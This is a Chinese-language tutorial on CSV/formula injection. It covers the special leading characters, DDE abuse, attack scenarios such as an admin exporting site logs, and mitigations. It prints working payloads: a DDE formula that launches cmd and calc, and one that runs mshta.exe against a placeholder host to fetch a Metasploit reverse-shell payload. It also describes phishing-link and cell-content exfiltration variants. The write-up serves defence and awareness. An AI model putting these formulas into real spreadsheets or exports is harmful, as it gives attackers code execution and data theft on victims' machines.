“对于网络安全来说,一切的外部输入均是不可信的”。但是CSV文件注入漏洞确时常被疏忽,究其原因,可能是因为我们脑海里的第一印象是把CSV文件当作了普通的文本文件,未能引起警惕。
一、漏洞定义
攻击者通过在CSV文件中构造恶意的命令或函数,使得正常用户在使用Excel打开这个CSV文件后恶意的命令或函数被执行,从而造成攻击行为。
二、漏洞产生的原因
1、CSV文件中的几个特殊符号“+、-、@、=”
尝试在CSV单元格中输入“=1+1”,回车后,发现单元格的值变成了2,说明加号被当做运算执行了。
除了加号,“-”、“@”、“=”也会被解释为公式。
2、DDE(Dynamic Data Exchange)
DDE是Windows下进程间通信协议,是一种动态数据交换机制,使用DDE通讯需要两个Windows应用程序,其中一个作为服务器处理信息,另外一个作为客户机从服务器获得信息。DDE支持Microsoft Excel,LibreOffice和Apache OpenOffice。 Excel、Word、Rtf、Outlook都可以使用这种机制,根据外部应用的处理结果来更新内容。因此,如果我们制作包含DDE公式的CSV文件,那么在打开该文件时,Excel就会尝试执行外部应用。
三、漏洞演示
1、OS命令执行
通过在CSV文件中构建DDE公式,可以调用CMD达到执行操作系统命令的目的。
如下图所示,在单元格中输入1+cmd|’/C calc’!A0,回车后Excel会弹出一个框,提醒Excel需要启动另外一个程序(cmd),点击是,Windows会弹出计算器窗口。
利用Metasploit可以生成payload,可以使用下面的注入执行payload,从而达到反弹shell的目的。
=1+cmd|'/c mshta.exe http://XXXXX:8080/Micropoor.hta '!A0
因此,利用这种漏洞危害,我们可以在用户的操作系统上执行添加用户、开启任意程序、操作注册表、反弹shell等命令。
2、跳转至钓鱼网站
当用户点击下面链接时,会使用IE浏览器打开攻击者提供的钓鱼网站,起到钓鱼的目的。
3、信息泄露
通过在CSV文件中注入超链接函数,当用户打开文件并点击链接时,可以把指定的单元格内容提交到指定网址(如下提交A2/A3单元格的内容)。
四、漏洞发生的场景
当网站提供CSV文件导出功能时,如果用户可以控制CSV文件的内容,就可能发送此类攻击。
比如攻击者可以在登录输入框、以及其他的查询、写入功能中注入恶意命令,当管理员使用CSV格式导出网站日志时,就可能发生此类攻击。
五、漏洞防御
1、确保单元格不以特殊字符(“+、-、@、=”)开头;
2、对单元格的内容进行特殊字符(“+、-、@、=”)过滤;
3、先对原始输入内容进行转义(双引号前多加一个双引号),然后在添加tab键和双引号防止注入;
4、禁止导出CSV、Excel格式;
5、导出为Excel格式前,利用代码把单元格的格式设置为文本(对CSV不生效)。
防御措施面临的困难:
1、对单元格内容进行处理势必会改变原始内容,对于需要数据导出后在导入其他系统进行执行的场景,对业务会有影响;
2、对于数据量大的场景,如果在导出进行过滤、转义等操作,会影响导出效率。